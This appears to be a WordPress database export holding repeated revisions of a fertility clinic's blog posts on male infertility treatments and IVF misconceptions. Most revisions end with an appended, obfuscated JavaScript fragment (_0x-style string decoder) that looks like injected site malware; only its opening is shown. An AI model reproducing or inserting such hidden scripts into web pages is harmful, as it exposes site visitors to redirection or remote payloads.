(579,1,'2020-01-14 07:36:58','2020-01-14 07:36:58','<div style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<a href=\"http://www.nuhospitals.com/blog/\" class=\"more-link\"><span class=\"read-more-button\">Keep Reading</span></a>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Treatment for Male Infertility</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated with or without surgery, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Treatment for Male Infertility</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated with or without surgery, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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\"Article\",\r\n\"mainEntityOfPage\": {\r\n\"@type\": \"WebPage\",\r\n\"@id\": \"https://www.nufertility.com/blog/male-infertility-causes-treatment-art/\"\r\n},\r\n\"headline\": \"Male Infertility – What You Need To Know\",\r\n\"image\": [\r\n\"https://www.nufertility.com/blog/wp-content/uploads/2020/01/Male-Infertility.jpg\"],\r\n\"datePublished\": \"2020-10-01T18:41:26+05:30\",\r\n\"dateModified\": \"2019-10-01T10:56:43+05:30\",\r\n\"author\": {\r\n\"@type\": \"Person\",\r\n\"name\": \" Dr. Pramod Krishnappa\"\r\n},\r\n\"publisher\": {\r\n\"@type\": \"Organization\",\r\n\"name\": \"Nu Fertility\",\r\n\"logo\": {\r\n\"@type\": \"ImageObject\",\r\n\"url\": \"https://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png\"\r\n}\r\n},\r\n\"description\": \"Male infertility is when a male&#039;s inability to cause pregnancy in a fertile female and can be treated with assisted reproductive technology. Book an appointment with experienced urologist/andrologist.\"\r\n}\r\n</script>\r\n<div style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Treatment for Male Infertility</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated with or without surgery, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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\"Article\",\r\n\"mainEntityOfPage\": {\r\n\"@type\": \"WebPage\",\r\n\"@id\": \"https://www.nufertility.com/blog/male-infertility-causes-treatment-art/\"\r\n},\r\n\"headline\": \"Male Infertility – What You Need To Know\",\r\n\"image\": [\r\n\"https://www.nufertility.com/blog/wp-content/uploads/2020/01/Male-Infertility.jpg\"],\r\n\"datePublished\": \"2020-10-01T18:41:26+05:30\",\r\n\"dateModified\": \"2019-10-01T10:56:43+05:30\",\r\n\"author\": {\r\n\"@type\": \"Person\",\r\n\"name\": \" Dr. Pramod Krishnappa\"\r\n},\r\n\"publisher\": {\r\n\"@type\": \"Organization\",\r\n\"name\": \"Nu Fertility\",\r\n\"logo\": {\r\n\"@type\": \"ImageObject\",\r\n\"url\": \"https://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png\"\r\n}\r\n},\r\n\"description\": \"Male infertility is when a male&#039;s inability to cause pregnancy in a fertile female and can be treated with assisted reproductive technology. Book an appointment with experienced urologist/andrologist.\"\r\n}\r\n</script>\r\n<div style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>what are the treatments for Male Infertility?</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated<strong> with or without surgery</strong>, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept. <!--more-->\r\n<h2>Here is the list of few IVF Misconceptions along with their explanation.</h2>\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept. <!--more-->\r\n<h2> Popular Misconceptions about IVF</h2>\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. Routine activities can very well be carried out without affecting pregnancy rates.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept.\r\n<h2> Popular Misconceptions about IVF</h2>\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. Routine activities can very well be carried out without affecting pregnancy rates.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept.\r\n<h2> Popular Misconceptions about IVF</h2>\r\n<ul>\r\n 	<li><strong>IVF injections cause cancer.</strong></li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not 